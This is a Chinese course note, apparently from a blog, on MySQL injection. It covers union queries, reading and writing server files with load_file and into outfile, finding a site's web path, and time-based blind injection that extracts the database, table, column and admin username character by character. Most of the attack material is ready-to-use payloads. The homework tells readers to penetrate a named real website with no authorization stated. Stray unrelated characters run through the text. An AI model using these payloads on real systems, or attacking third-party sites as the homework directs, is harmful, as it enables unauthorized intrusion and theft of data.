小迪16期-20170313

第四天:mysql權(quán)限滲透-mysql盲注攻擊(上)

1.分析上節(jié)課的作業(yè):獲取所有數(shù)據(jù)庫名的注入語句怎么寫?

  • 抓包工具分析注入工具語句
    先網(wǎng)上下載工具注入工具h(yuǎn)avij 1.17 pro版本和抓包工具WSExplorer
  • 通過數(shù)據(jù)庫屬性分析注入語句
    information_schema.schemata 存儲(chǔ)mysql下所有數(shù)據(jù)庫名信息的表名
    schema_name 數(shù)據(jù)庫名

http://127.0.0.1/sqlin/mysql/index.php?x=1 union select schema_name,2,3 from information_schema.schemata


2.實(shí)驗(yàn):測(cè)試不同數(shù)據(jù)庫用戶的操作權(quán)限

文件讀寫測(cè)試:讀就是load_file()秘通,寫就是into outfile()

  • Mysql最高權(quán)限用戶root:可讀可寫

    root讀寫權(quán)限.jpg

    注意:如發(fā)現(xiàn)讀取時(shí)為NULL甸鸟,直接執(zhí)行show global variables like '%secure%'; 發(fā)現(xiàn)secure_file_priv的值為NULL是越,然后修改mysql.ini 文件馆里,在[mysqld] 下加入secure_file_priv =
    保存堂鲜,重啟mysql伞芹。這樣就能讀到內(nèi)容了忘苛。

  • Mysql普通權(quán)限用戶:無權(quán)限文件讀寫。


3.注入點(diǎn)數(shù)據(jù)庫用戶權(quán)限由什么決定唱较?

連接數(shù)據(jù)庫用戶決定


連接用戶.jpg

4.Mysql注入點(diǎn)進(jìn)行文件讀寫操作

條件:root權(quán)限注入點(diǎn)
讀取語句:讀取C盤下123.txt文件內(nèi)容
http://127.0.0.1/sqlin/mysql/index.php?x=1%20union%20select%20load_file(%27c:/123.txt%27),2,3
寫入語句
http://127.0.0.1/sqlin/mysql/index.php?x=1%20union%20select%20%27abcd%27,2,3%20into%20outfile%20%27c:/www2.txt%27
注意事項(xiàng):

  • 符號(hào)問題
    使用“/”或“\”扎唾;不使用“\”
    原因:編程中“\”多半是轉(zhuǎn)義,如\n是換行


    符號(hào)問題.jpg
  • 編碼問題
    如果要寫入數(shù)據(jù)中帶有單引號(hào)南缓,怎么辦胸遇?
    編碼解決!(用編碼就不用單引號(hào))
    比如:
    http://127.0.0.1/sqlin/mysql/index.php?x=1 union select 0x6161616127,2,3 into outfile 'c:/1234.txt'
    這里的十六進(jìn)制表示的就是aaaa'

5.網(wǎng)站路徑獲取方法

  • 遺留文件
    一般在網(wǎng)站根目錄下汉形,命名有php.php纸镊、info.php、
    phpinfo.php概疆、test.php逗威、php_info.php等。


    phpinfo.png
  • 報(bào)錯(cuò)顯示


    報(bào)錯(cuò)顯示.png
  • 漏洞暴路徑


    漏洞暴路徑.png
  • 讀取搭建平臺(tái)配置文件


    vhosts.png
  • 社工(字典猜解岔冀,谷歌黑客等)
    盲猜D:/www/
    D:/wwwroot/
    D:/web/


    谷歌黑客.png

6.Mysql盲注

  • sleep盲注攻擊
    比如select * from news where id=1 union select database(),2,sleep(5)


    sleep盲注.png

    能正常執(zhí)行凯旭,并在5秒后出結(jié)果,證明可以正常執(zhí)行使套。用sleep可以判斷你寫的語句對(duì)不對(duì)罐呼。

  • If(條件,true,false):
    條件成立,返回第二個(gè)參數(shù)侦高,反之返回第三個(gè)參數(shù)
    比如select * from news where id=1 union select 1,2,sleep(if(length(database())=5,5,0))
    判斷數(shù)據(jù)庫長(zhǎng)度是否等于5嫉柴,如果等于5就延遲5秒,不等于就不延遲奉呛。
    又比如select * from news where id=1 union select database(),2,sleep(if(mid(database(),1,1)='s',5,0))
    查詢數(shù)據(jù)庫名稱第一個(gè)字母是不是等于's'的差凹,是就延遲5秒。
    (mid函數(shù)有三個(gè)參數(shù)侧馅,第一個(gè)是字符串危尿,第二個(gè)是從哪里開始截取,第三個(gè)是截取的長(zhǎng)度)

7.Mysql盲注擴(kuò)展資料

image.png

盲注的核心是靠 if 判斷來注入

手工盲注之前先復(fù)習(xí)一下if 判斷等函數(shù)
version() 是查看數(shù)據(jù)庫版本
database() 查看數(shù)據(jù)庫名
user() 查看當(dāng)前用戶
length( xxxxx ) 函數(shù)是統(tǒng)計(jì)字符串的長(zhǎng)度


image.png

mid(str,1,3) 字符串截取


image.png

從字節(jié)1開始截 截到3就結(jié)束

ORD() 轉(zhuǎn)換成ascii碼


image.png

image.png

IF 語法:


image.png

if (條件,True,False);


image.png

開始手工盲注
select * from admin where user = "admin" and sleep(2); 執(zhí)行需要2秒

1.獲取數(shù)據(jù)庫名長(zhǎng)度

database() 查看數(shù)據(jù)庫名


image.png

( select length(database() ) )
查詢數(shù)據(jù)庫名長(zhǎng)度


image.png

select * from admin where user = "admin" and sleep( if( ( select length(database()) = 2 ) , 5,0 ) );
如果數(shù)據(jù)庫的長(zhǎng)度等于2的話那么就執(zhí)行true 否則就執(zhí)行False
最后變成了 sleep(0)

image.png

如果數(shù)據(jù)庫長(zhǎng)度等于 7 的話 就執(zhí)行true
最后變成了 sleep(5)
也就是select * from admin where user = "admin” and sleep(5)
最后得知數(shù)據(jù)庫長(zhǎng)度是 7 那么接下來就是獲取數(shù)據(jù)庫名了馁痴。

2.獲取數(shù)據(jù)庫名

數(shù)據(jù)庫長(zhǎng)度是 7
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'a' ) , 5,0 ) );
執(zhí)行執(zhí)行False 說明 第一個(gè)字節(jié)不是a


image.png

select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'x' ) , 5,0 ) );
執(zhí)行執(zhí)行true 執(zhí)行了5秒 說明第一個(gè)字節(jié)是x

然后慢慢注入到7谊娇。。。济欢。赠堵。。
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'x') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),2,1) = 'i' ) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),3,1) = 'n') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),4,1) = 'd') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),5,1) = 'o') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),6,1) = 'n') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),7,1) = 'g') , 5,0 ) );
第一個(gè)字節(jié)是x
第二個(gè)字節(jié)是i
第三個(gè)字節(jié)是n
第四個(gè)字節(jié)是d
第五個(gè)字節(jié)是o
第六個(gè)字節(jié)是n
第七個(gè)字節(jié)是g
全都是執(zhí)行 5秒 然后得知 數(shù)據(jù)庫是 xindong

當(dāng)然了 這方法注入比較慢 比如有些數(shù)據(jù)庫是特殊符號(hào)呢法褥?那怎么辦茫叭?一個(gè)一個(gè)符號(hào)猜解嗎?
采用ORD函數(shù)進(jìn)行ascii碼來判斷會(huì)快點(diǎn)

比如:
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 200 , 5,0 ) );
條件:大于200 執(zhí)行false 說明 不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 100 , 5,0 ) );
條件:大于100 執(zhí)行true 說明大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 120 , 5,0 ) );
條件:大于120 執(zhí)行false 說明不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 110 , 5,0 ) );
條件:大于110 執(zhí)行true 說明大于
說明數(shù)據(jù)庫第一個(gè)字節(jié)的ascii碼大于110小于120
說明是110~120之間

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) = 120 , 5,0 ) );
等于 120 執(zhí)行true 說明第一個(gè)字節(jié)的ascii碼是120

image.png

最后解碼得出是 x

3.獲取表名長(zhǎng)度

select * from admin where user = 'admin' and 1=2 union select 1, sleep(if( length(TABLE_NAME) = 5 ,5,0)) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1

長(zhǎng)度等于 5 執(zhí)行true半等,等待5秒
說明表名長(zhǎng)度為5

4.獲取表名

獲取第1個(gè)字節(jié)
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,1,1))='a' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
請(qǐng)求時(shí)間為5秒 說明是a

獲取第2個(gè)字節(jié)

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,2,1))='d' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
請(qǐng)求時(shí)間為5秒 說明是d

獲取第3個(gè)字節(jié)

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,3,1))='m' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
請(qǐng)求時(shí)間為5秒 說明是m

獲取第4個(gè)字節(jié)

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,4,1))='i' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
請(qǐng)求時(shí)間為5秒 說明是i

獲取第5個(gè)字節(jié)

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,5,1))='n' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
請(qǐng)求時(shí)間為5秒 說明是n

5.獲取表名的第一個(gè)字段長(zhǎng)度

表名是:admin 16進(jìn)制:61646d696e
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (length(COLUMN_NAME) = 4,5,0 ) ) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

請(qǐng)求時(shí)間5秒 說明第一個(gè)子段有4個(gè)字節(jié)

6.獲取表名的第一個(gè)字段名

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,1,1) )= 'u',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,2,1) )= 's',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,3,1) )= 'e',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,4,1) )= 'r',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

爆出第一個(gè)字段是 user

然后第一個(gè)字段判斷可能是用戶名 還少來個(gè)密碼字段那么就在 5.獲取表名的第一個(gè)字段長(zhǎng)度 把limit 1,1 獲取下一個(gè)字段長(zhǎng)度再進(jìn)行獲取密碼字段

7.獲取數(shù)據(jù)庫內(nèi)容

7.1 先猜第一個(gè)字段的數(shù)據(jù)庫的長(zhǎng)度
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (length(user) = 5 , 5,0) ) from admin limit 0,1;
執(zhí)行5秒 說明這個(gè)字段的數(shù)據(jù)內(nèi)容字節(jié)長(zhǎng)度是5

那么就是獲取數(shù)據(jù)了
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,1,1) = 'a' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,2,1) = 'd' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,3,1) = 'm' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,4,1) = 'i' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,5,1) = 'n' , 5,0) ) from admin limit 0,1;

然后用戶名就是 admin 了

作業(yè):http://www.gaoneng.com/
去滲透這個(gè)網(wǎng)站

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末揍愁,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子杀饵,更是在濱河造成了極大的恐慌莽囤,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,194評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件切距,死亡現(xiàn)場(chǎng)離奇詭異朽缎,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)谜悟,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,058評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門话肖,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人葡幸,你說我怎么就攤上這事狼牺。” “怎么了礼患?”我有些...
    開封第一講書人閱讀 156,780評(píng)論 0 346
  • 文/不壞的土叔 我叫張陵是钥,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我缅叠,道長(zhǎng)悄泥,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,388評(píng)論 1 283
  • 正文 為了忘掉前任肤粱,我火速辦了婚禮弹囚,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘领曼。我一直安慰自己鸥鹉,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,430評(píng)論 5 384
  • 文/花漫 我一把揭開白布庶骄。 她就那樣靜靜地躺著毁渗,像睡著了一般。 火紅的嫁衣襯著肌膚如雪单刁。 梳的紋絲不亂的頭發(fā)上灸异,一...
    開封第一講書人閱讀 49,764評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼肺樟。 笑死檐春,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的么伯。 我是一名探鬼主播疟暖,決...
    沈念sama閱讀 38,907評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼田柔!你這毒婦竟也來了俐巴?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,679評(píng)論 0 266
  • 序言:老撾萬榮一對(duì)情侶失蹤凯楔,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后锦募,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體摆屯,經(jīng)...
    沈念sama閱讀 44,122評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,459評(píng)論 2 325
  • 正文 我和宋清朗相戀三年糠亩,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了虐骑。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,605評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡赎线,死狀恐怖廷没,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情垂寥,我是刑警寧澤颠黎,帶...
    沈念sama閱讀 34,270評(píng)論 4 329
  • 正文 年R本政府宣布,位于F島的核電站滞项,受9級(jí)特大地震影響狭归,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜文判,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,867評(píng)論 3 312
  • 文/蒙蒙 一过椎、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧戏仓,春花似錦疚宇、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,734評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至仁热,卻和暖如春讼撒,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,961評(píng)論 1 265
  • 我被黑心中介騙來泰國(guó)打工根盒, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留钳幅,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,297評(píng)論 2 360
  • 正文 我出身青樓炎滞,卻偏偏與公主長(zhǎng)得像敢艰,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子册赛,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,472評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容

  • sqlmap是一個(gè)開源的滲透測(cè)試工具钠导,可以用來進(jìn)行自動(dòng)化檢測(cè),利用SQL注入漏洞森瘪,獲取數(shù)據(jù)庫服務(wù)器的權(quán)限牡属。它具有功...
    道書簡(jiǎn)閱讀 1,408評(píng)論 0 0
  • 漏洞挖掘與利用 測(cè)試環(huán)境的搭建 引言 為什么要搭建本地測(cè)試環(huán)境?我想下面的東西能夠回答你的疑惑扼睬。 第二百八十五條 ...
    作業(yè)沒寫完閱讀 3,175評(píng)論 0 4
  • 一侥加、MySQL架構(gòu)與歷史 A.并發(fā)控制 1.共享鎖(shared lock,讀鎖):共享的粪躬,相互不阻塞的担败。 2.排...
    阿休閱讀 4,638評(píng)論 0 37
  • sqlmap用戶手冊(cè) 說明:本文為轉(zhuǎn)載,對(duì)原文中一些明顯的拼寫錯(cuò)誤進(jìn)行修正镰官,并標(biāo)注對(duì)自己有用的信息氢架。 ======...
    wind_飄閱讀 2,035評(píng)論 0 5
  • 月夜,昏醉的燈 正適合我和你告別 假如昨天注定要成為昨天 正如小提琴的憂傷 倒數(shù) 歸結(jié)于小號(hào)的陪伴 那么飛機(jī)在黑夜...
    追一葦渡江閱讀 169評(píng)論 0 0